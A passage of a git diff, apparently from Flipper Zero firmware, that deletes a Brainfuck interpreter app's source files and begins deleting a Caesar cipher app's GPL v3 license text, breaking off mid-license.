a/applications/external/brainfuck/scenes/brainfuck_scene_start.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../brainfuck_i.h" -enum SubmenuIndex { - SubmenuIndexNew, - SubmenuIndexOpen, - SubmenuIndexAbout, -}; - -void brainfuck_scene_start_submenu_callback(void* context, uint32_t index) { - BFApp* brainfuck = context; - view_dispatcher_send_custom_event(brainfuck->view_dispatcher, index); -} -void brainfuck_scene_start_on_enter(void* context) { - BFApp* brainfuck = context; - - Submenu* submenu = brainfuck->submenu; - submenu_add_item( - submenu, "New", SubmenuIndexNew, brainfuck_scene_start_submenu_callback, brainfuck); - submenu_add_item( - submenu, "Open", SubmenuIndexOpen, brainfuck_scene_start_submenu_callback, brainfuck); - submenu_add_item( - submenu, "About", SubmenuIndexAbout, brainfuck_scene_start_submenu_callback, brainfuck); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(brainfuck->scene_manager, brainfuckSceneStart)); - view_dispatcher_switch_to_view(brainfuck->view_dispatcher, brainfuckViewMenu); -} - -bool brainfuck_scene_start_on_event(void* context, SceneManagerEvent event) { - BFApp* brainfuck = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexNew) { - scene_manager_next_scene(brainfuck->scene_manager, brainfuckSceneFileCreate); - consumed = true; - } else if(event.event == SubmenuIndexOpen) { - scene_manager_next_scene(brainfuck->scene_manager, brainfuckSceneFileSelect); - consumed = true; - } else if(event.event == SubmenuIndexAbout) { - text_box_set_text( - brainfuck->text_box, - "FlipperBrainfuck\n\nAn F0 brainfuck intepretor\nBy github.com/Nymda"); - scene_manager_next_scene(brainfuck->scene_manager, brainfuckSceneExecEnv); - consumed = true; - } - scene_manager_set_scene_state(brainfuck->scene_manager, brainfuckSceneStart, event.event); - } - - return consumed; -} - -void brainfuck_scene_start_on_exit(void* context) { - BFApp* brainfuck = context; - submenu_reset(brainfuck->submenu); -} diff --git a/applications/external/brainfuck/views/bf_dev_env.c b/applications/external/brainfuck/views/bf_dev_env.c deleted file mode 100644 index 4167414c3..000000000 --- a/applications/external/brainfuck/views/bf_dev_env.c +++ /dev/null @@ -1,429 +0,0 @@ -#include "bf_dev_env.h" -#include - -typedef struct BFDevEnv { - View* view; - DevEnvOkCallback callback; - void* context; - BFApp* appDev; -} BFDevEnv; - -typedef struct { - uint32_t row; - uint32_t col; -} BFDevEnvModel; - -typedef struct { - int up; - int down; - int left; - int right; -} bMapping; - -#ifdef FW_ORIGIN_Official -#define FONT_NAME FontSecondary -#else -#define FONT_NAME FontBatteryPercent -#endif - -static bool bf_dev_process_up(BFDevEnv* devEnv); -static bool bf_dev_process_down(BFDevEnv* devEnv); -static bool bf_dev_process_left(BFDevEnv* devEnv); -static bool bf_dev_process_right(BFDevEnv* devEnv); -static bool bf_dev_process_ok(BFDevEnv* devEnv, InputEvent* event); - -BFApp* appDev; -FuriThread* workerThread; - -char bfChars[9] = {'<', '>', '[', ']', '+', '-', '.', ',', 0x00}; - -int selectedButton = 0; -int saveNotifyCountdown = 0; -int execCountdown = 0; - -char dspLine0[25] = {0x00}; -char dspLine1[25] = {0x00}; -char dspLine2[25] = {0x00}; - -static bMapping buttonMappings[12] = { - {8, 8, 7, 1}, //0 - {8, 8, 0, 2}, //1 - {9, 9, 1, 3}, //2 - {9, 9, 2, 4}, //3 - {10, 10, 3, 5}, //4 - {10, 10, 4, 6}, //5 - {11, 11, 5, 7}, //6 - {11, 11, 6, 0}, //7 - - {0, 0, 11, 9}, //8 - {3, 3, 8, 10}, //9 - {5, 5, 9, 11}, //10 - {6, 6, 10, 8} //11 -}; - -#define BT_X 14 -#define BT_Y 14 -static void bf_dev_draw_button(Canvas* canvas, int x, int y, bool selected, const char* lbl) { - UNUSED(lbl); - - if(selected) { - canvas_draw_rbox(canvas, x, y, BT_X, BT_Y, 3); - canvas_invert_color(canvas); - canvas_set_font(canvas, FONT_NAME); - canvas_draw_str_aligned( - canvas, x + (BT_X / 2), y + (BT_Y / 2) - 1, AlignCenter, AlignCenter, lbl); - canvas_invert_color(canvas); - } else { - canvas_draw_rbox(canvas, x, y, BT_X, BT_Y, 3); - canvas_invert_color(canvas); - canvas_draw_rbox(canvas, x + 2, y - 1, BT_X - 2, BT_Y - 1, 3); - canvas_invert_color(canvas); - canvas_draw_rframe(canvas, x, y, BT_X, BT_Y, 3); - canvas_set_font(canvas, FONT_NAME); - canvas_draw_str_aligned( - canvas, x + (BT_X / 2), y + (BT_Y / 2) - 1, AlignCenter, AlignCenter, lbl); - } -} - -void bf_save_changes() { - //remove old file - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_simply_remove(storage, furi_string_get_cstr(appDev->BF_file_path)); - - //save new file - Stream* stream = buffered_file_stream_alloc(storage); - buffered_file_stream_open( - stream, furi_string_get_cstr(appDev->BF_file_path), FSAM_WRITE, FSOM_CREATE_ALWAYS); - stream_write(stream, (const uint8_t*)appDev->dataBuffer, appDev->dataSize); - buffered_file_stream_close(stream); -} - -static void bf_dev_draw_callback(Canvas* canvas, void* _model) { - UNUSED(_model); - - if(saveNotifyCountdown > 0) { - canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignCenter, "SAVED"); - saveNotifyCountdown--; - return; - } - - bf_dev_draw_button(canvas, 1, 36, (selectedButton == 0), "+"); //T 0 - bf_dev_draw_button(canvas, 17, 36, (selectedButton == 1), "-"); //T 1 - bf_dev_draw_button(canvas, 33, 36, (selectedButton == 2), "<"); //T 2 - bf_dev_draw_button(canvas, 49, 36, (selectedButton == 3), ">"); //T 3 - bf_dev_draw_button(canvas, 65, 36, (selectedButton == 4), "["); //B 0 - bf_dev_draw_button(canvas, 81, 36, (selectedButton == 5), "]"); //B 1 - bf_dev_draw_button(canvas, 97, 36, (selectedButton == 6), "."); //B 2 - bf_dev_draw_button(canvas, 113, 36, (selectedButton == 7), ","); //B 3 - - //backspace, input, run, save - canvas_draw_icon( - canvas, - 1, - 52, - (selectedButton == 8) ? &I_KeyBackspaceSelected_24x11 : &I_KeyBackspace_24x11); - canvas_draw_icon( - canvas, 45, 52, (selectedButton == 9) ? &I_KeyInputSelected_30x11 : &I_KeyInput_30x11); - canvas_draw_icon( - canvas, 77, 52, (selectedButton == 10) ? &I_KeyRunSelected_24x11 : &I_KeyRun_24x11); - canvas_draw_icon( - canvas, 103, 52, (selectedButton == 11) ? &I_KeySaveSelected_24x11 : &I_KeySave_24x11); - - if(saveNotifyCountdown > 0) { - canvas_draw_icon(canvas, 98, 54, &I_ButtonRightSmall_3x5); - saveNotifyCountdown--; - } - - //textbox - //grossly overcomplicated. not fixing it. - canvas_draw_rframe(canvas, 1, 1, 126, 33, 2); - canvas_set_font(canvas, FONT_NAME); - - int dbOffset = 0; - if(appDev->dataSize > 72) { - dbOffset = (appDev->dataSize - 72); - } - - memset(dspLine0, 0x00, 25); - memset(dspLine1, 0x00, 25); - memset(dspLine2, 0x00, 25); - - int tpM = 0; - int tp0 = 0; - int tp1 = 0; - int tp2 = 0; - - for(int p = dbOffset; p < appDev->dataSize; p++) { - if(tpM < 24 * 1) { - dspLine0[tp0] = appDev->dataBuffer[p]; - tp0++; - } else if(tpM < 24 * 2) { - dspLine1[tp1] = appDev->dataBuffer[p]; - tp1++; - } else if(tpM < 24 * 3) { - dspLine2[tp2] = appDev->dataBuffer[p]; - tp2++; - } - tpM++; - } - - canvas_draw_str_aligned(canvas, 3, 8, AlignLeft, AlignCenter, dspLine0); - canvas_draw_str_aligned(canvas, 3, 17, AlignLeft, AlignCenter, dspLine1); - canvas_draw_str_aligned(canvas, 3, 26, AlignLeft, AlignCenter, dspLine2); -} - -static bool bf_dev_input_callback(InputEvent* event, void* context) { - furi_assert(context); - BFDevEnv* devEnv = context; - bool consumed = false; - - if(event->type == InputTypeShort) { - if(event->key == InputKeyRight) { - consumed = bf_dev_process_right(devEnv); - } else if(event->key == InputKeyLeft) { - consumed = bf_dev_process_left(devEnv); - } else if(event->key == InputKeyUp) { - consumed = bf_dev_process_up(devEnv); - } else if(event->key == InputKeyDown) { - consumed = bf_dev_process_down(devEnv); - } - } else if(event->key == InputKeyOk) { - consumed = bf_dev_process_ok(devEnv, event); - } - - return consumed; -} - -static bool bf_dev_process_up(BFDevEnv* devEnv) { - UNUSED(devEnv); - selectedButton = buttonMappings[selectedButton].up; - return true; -} - -static bool bf_dev_process_down(BFDevEnv* devEnv) { - UNUSED(devEnv); - selectedButton = buttonMappings[selectedButton].down; - return true; -} - -static bool bf_dev_process_left(BFDevEnv* devEnv) { - UNUSED(devEnv); - selectedButton = buttonMappings[selectedButton].left; - return true; -} - -static bool bf_dev_process_right(BFDevEnv* devEnv) { - UNUSED(devEnv); - selectedButton = buttonMappings[selectedButton].right; - return true; -} - -static bool bf_dev_process_ok(BFDevEnv* devEnv, InputEvent* event) { - UNUSED(devEnv); - UNUSED(event); - - if(event->type != InputTypePress) { - return false; - } - - switch(selectedButton) { - case 0: { - if(appDev->dataSize < BF_INST_BUFFER_SIZE) { - appDev->dataBuffer[appDev->dataSize] = '+'; - appDev->dataSize++; - } - break; - } - - case 1: { - if(appDev->dataSize < BF_INST_BUFFER_SIZE) { - appDev->dataBuffer[appDev->dataSize] = '-'; - appDev->dataSize++; - } - break; - } - - case 2: { - if(appDev->dataSize < BF_INST_BUFFER_SIZE) { - appDev->dataBuffer[appDev->dataSize] = '<'; - appDev->dataSize++; - } - break; - } - - case 3: { - if(appDev->dataSize < BF_INST_BUFFER_SIZE) { - appDev->dataBuffer[appDev->dataSize] = '>'; - appDev->dataSize++; - } - break; - } - - case 4: { - if(appDev->dataSize < BF_INST_BUFFER_SIZE) { - appDev->dataBuffer[appDev->dataSize] = '['; - appDev->dataSize++; - } - break; - } - - case 5: { - if(appDev->dataSize < BF_INST_BUFFER_SIZE) { - appDev->dataBuffer[appDev->dataSize] = ']'; - appDev->dataSize++; - } - break; - } - - case 6: { - if(appDev->dataSize < BF_INST_BUFFER_SIZE) { - appDev->dataBuffer[appDev->dataSize] = '.'; - appDev->dataSize++; - } - break; - } - - case 7: { - if(appDev->dataSize < BF_INST_BUFFER_SIZE) { - appDev->dataBuffer[appDev->dataSize] = ','; - appDev->dataSize++; - } - break; - } - - case 8: { - if(appDev->dataSize > 0) { - appDev->dataSize--; - appDev->dataBuffer[appDev->dataSize] = (uint32_t)0x00; - } - break; - } - - case 9: { - scene_manager_next_scene(appDev->scene_manager, brainfuckSceneSetInput); - break; - } - - case 10: { - if(getStatus() != 0) { - killThread(); - furi_thread_join(workerThread); - } - - bf_save_changes(); - - initWorker(appDev); - text_box_set_focus(appDev->text_box, TextBoxFocusEnd); - text_box_set_text(appDev->text_box, workerGetOutput()); - - workerThread = furi_thread_alloc_ex("Worker", 2048, (void*)beginWorker, NULL); - furi_thread_start(workerThread); - - scene_manager_next_scene(appDev->scene_manager, brainfuckSceneExecEnv); - break; - } - - case 11: { - bf_save_changes(); - saveNotifyCountdown = 3; - break; - } - } - - bool consumed = false; - return consumed; -} - -static void bf_dev_enter_callback(void* context) { - furi_assert(context); - BFDevEnv* devEnv = context; - - with_view_model( - devEnv->view, - BFDevEnvModel * model, - { - model->col = 0; - model->row = 0; - }, - true); - - appDev = devEnv->appDev; - selectedButton = 0; - - //exit the running thread if required - if(getStatus() != 0) { - killThread(); - furi_thread_join(workerThread); - } - - //clear the bf instruction buffer - memset(appDev->dataBuffer, 0x00, BF_INST_BUFFER_SIZE * sizeof(char)); - - //open the file - Storage* storage = furi_record_open(RECORD_STORAGE); - Stream* stream = buffered_file_stream_alloc(storage); - buffered_file_stream_open( - stream, furi_string_get_cstr(appDev->BF_file_path), FSAM_READ, FSOM_OPEN_EXISTING); - - //read into the buffer - appDev->dataSize = stream_size(stream); - if(appDev->dataSize > 2000) { - return; //BF file is too large - } - - stream_read(stream, (uint8_t*)appDev->dataBuffer, appDev->dataSize); - buffered_file_stream_close(stream); - - //replaces any invalid characters with an underscore. strips out newlines, comments, etc - for(int i = 0; i < appDev->dataSize; i++) { - if(!strchr(bfChars, appDev->dataBuffer[i])) { - appDev->dataBuffer[i] = '_'; - } - } - - //find the end of the file to begin editing - int tptr = 0; - while(appDev->dataBuffer[tptr] != 0x00) { - tptr++; - } - appDev->dataSize = tptr; -} - -BFDevEnv* bf_dev_env_alloc(BFApp* appDev) { - BFDevEnv* devEnv = malloc(sizeof(BFDevEnv)); - - devEnv->view = view_alloc(); - devEnv->appDev = appDev; - view_allocate_model(devEnv->view, ViewModelTypeLocking, sizeof(BFDevEnvModel)); - - with_view_model( - devEnv->view, - BFDevEnvModel * model, - { - model->col = 0; - model->row = 0; - }, - true); - - view_set_context(devEnv->view, devEnv); - view_set_draw_callback(devEnv->view, bf_dev_draw_callback); - view_set_input_callback(devEnv->view, bf_dev_input_callback); - view_set_enter_callback(devEnv->view, bf_dev_enter_callback); - return devEnv; -} - -void bf_dev_env_free(BFDevEnv* devEnv) { - if(getStatus() != 0) { - killThread(); - furi_thread_join(workerThread); - } - - furi_assert(devEnv); - view_free(devEnv->view); - free(devEnv); -} - -View* bf_dev_env_get_view(BFDevEnv* devEnv) { - furi_assert(devEnv); - return devEnv->view; -} diff --git a/applications/external/brainfuck/views/bf_dev_env.h b/applications/external/brainfuck/views/bf_dev_env.h deleted file mode 100644 index 31059544b..000000000 --- a/applications/external/brainfuck/views/bf_dev_env.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once -#include "../brainfuck_i.h" -#include - -typedef void (*DevEnvOkCallback)(InputType type, void* context); - -BFDevEnv* bf_dev_env_alloc(BFApp* application); - -void bf_dev_set_file_path(FuriString* path); - -void bf_dev_env_free(BFDevEnv* devEnv); - -View* bf_dev_env_get_view(BFDevEnv* devEnv); - -void bf_dev_env_set_ok(BFDevEnv* devEnv, DevEnvOkCallback callback, void* context); diff --git a/applications/external/brainfuck/worker.c b/applications/external/brainfuck/worker.c deleted file mode 100644 index 584bb9fb8..000000000 --- a/applications/external/brainfuck/worker.c +++ /dev/null @@ -1,291 +0,0 @@ -#include "worker.h" -#include -#include - -bool killswitch = false; - -int status = 0; //0: idle, 1: running, 2: failure - -char* inst = 0; -int instCount = 0; -int instPtr = 0; -int runOpCount = 0; - -char* wOutput = 0; -int wOutputPtr = 0; - -char* wInput = 0; -int wInputPtr = 0; - -uint8_t* bfStack = 0; -int stackPtr = 0; -int stackSize = BF_STACK_INITIAL_SIZE; -int stackSizeReal = 0; - -BFApp* wrkrApp = 0; - -void killThread() { - killswitch = true; -} - -bool validateInstPtr() { - if(instPtr > instCount || instPtr < 0) { - return false; - } - return true; -} - -bool validateStackPtr() { - if(stackPtr > stackSize || stackPtr < 0) { - return false; - } - return true; -} - -char* workerGetOutput() { - return wOutput; -} - -int getStackSize() { - return stackSizeReal; -} - -int getOpCount() { - return runOpCount; -} - -int getStatus() { - return status; -} - -void initWorker(BFApp* app) { - wrkrApp = app; - - //rebuild output - if(wOutput) { - free(wOutput); - } - wOutput = (char*)malloc(BF_OUTPUT_SIZE); - wOutputPtr = 0; - - //rebuild stack - if(bfStack) { - free(bfStack); - } - bfStack = (uint8_t*)malloc(BF_STACK_INITIAL_SIZE); - memset(bfStack, 0x00, BF_STACK_INITIAL_SIZE); - stackSize = BF_STACK_INITIAL_SIZE; - stackSizeReal = 0; - stackPtr = 0; - - //set instructions - inst = wrkrApp->dataBuffer; - instCount = wrkrApp->dataSize; - instPtr = 0; - runOpCount = 0; - - //set input - wInput = wrkrApp->inputBuffer; - wInputPtr = 0; - - //set status - status = 0; -} - -void rShift() { - runOpCount++; - stackPtr++; - if(!validateStackPtr()) { - status = 2; - return; - } - - while(stackPtr > stackSize) { - stackSize += BF_STACK_STEP_SIZE; - void* tmp = realloc(bfStack, stackSize); - - if(!tmp) { - status = 2; - return; - } - - memset((tmp + stackSize) - BF_STACK_STEP_SIZE, 0x00, BF_STACK_STEP_SIZE); - bfStack = (uint8_t*)tmp; - }; - if(stackPtr > stackSizeReal) { - stackSizeReal = stackPtr; - } -} - -void lShift() { - runOpCount++; - stackPtr--; - if(!validateStackPtr()) { - status = 2; - return; - } -} - -void inc() { - runOpCount++; - if(!validateStackPtr()) { - status = 2; - return; - } - bfStack[stackPtr]++; -} - -void dec() { - runOpCount++; - if(!validateStackPtr()) { - status = 2; - return; - } - bfStack[stackPtr]--; -} - -void print() { - runOpCount++; - wOutput[wOutputPtr] = bfStack[stackPtr]; - wOutputPtr++; - if(wOutputPtr > (BF_OUTPUT_SIZE - 1)) { - wOutputPtr = 0; - } -} - -void input() { - runOpCount++; - - bfStack[stackPtr] = (uint8_t)wInput[wInputPtr]; - if(wInput[wInputPtr] == 0x00 || wInputPtr >= 64) { - wInputPtr = 0; - } else { - wInputPtr++; - } -} - -void loop() { - runOpCount++; - if(bfStack[stackPtr] == 0) { - int loopCount = 1; - while(loopCount > 0) { - instPtr++; - if(!validateInstPtr()) { - status = 2; - return; - } - if(inst[instPtr] == '[') { - loopCount++; - } else if(inst[instPtr] == ']') { - loopCount--; - } - } - } -} - -void endLoop() { - runOpCount++; - if(bfStack[stackPtr] != 0) { - int loopCount = 1; - while(loopCount > 0) { - instPtr--; - if(!validateInstPtr()) { - status = 2; - return; - } - if(inst[instPtr] == ']') { - loopCount++; - } else if(inst[instPtr] == '[') { - loopCount--; - } - } - } -} - -static const NotificationSequence led_on = { - &message_blue_255, - &message_do_not_reset, - NULL, -}; - -static const NotificationSequence led_off = { - &message_blue_0, - NULL, -}; - -void input_kill(void* _ctx) { - UNUSED(_ctx); - killswitch = true; -} - -void beginWorker() { - status = 1; - - //redefined from furi_hal_resources.c - const GpioPin gpio_button_back = {.port = GPIOC, .pin = LL_GPIO_PIN_13}; - - while(inst[instPtr] != 0x00) { - if(runOpCount % 500 == 0) { - text_box_set_text(wrkrApp->text_box, workerGetOutput()); - notification_message(wrkrApp->notifications, &led_on); - } - - //status 2 indicates failure - if(status == 2) { - status = 0; - break; - } - - //read back button directly to avoid weirdness in furi - if(killswitch || !furi_hal_gpio_read(&gpio_button_back)) { - status = 0; - killswitch = false; - break; - } - - switch(inst[instPtr]) { - case '>': - rShift(); - break; - case '<': - lShift(); - break; - - case '+': - inc(); - break; - - case '-': - dec(); - break; - - case '.': - print(); - break; - - case ',': - input(); - break; - - case '[': - loop(); - break; - - case ']': - endLoop(); - break; - - default: - break; - } - instPtr++; - if(!validateInstPtr()) { - status = 0; - break; - } - } - - notification_message(wrkrApp->notifications, &led_off); - text_box_set_text(wrkrApp->text_box, workerGetOutput()); - status = 0; -} \ No newline at end of file diff --git a/applications/external/brainfuck/worker.h b/applications/external/brainfuck/worker.h deleted file mode 100644 index b12e364c3..000000000 --- a/applications/external/brainfuck/worker.h +++ /dev/null @@ -1,9 +0,0 @@ -#include "brainfuck_i.h" - -void initWorker(BFApp* application); -char* workerGetOutput(); -int getStackSize(); -int getOpCount(); -int getStatus(); -void beginWorker(); -void killThread(); \ No newline at end of file diff --git a/applications/external/caesarcipher/LICENSE b/applications/external/caesarcipher/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/caesarcipher/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require 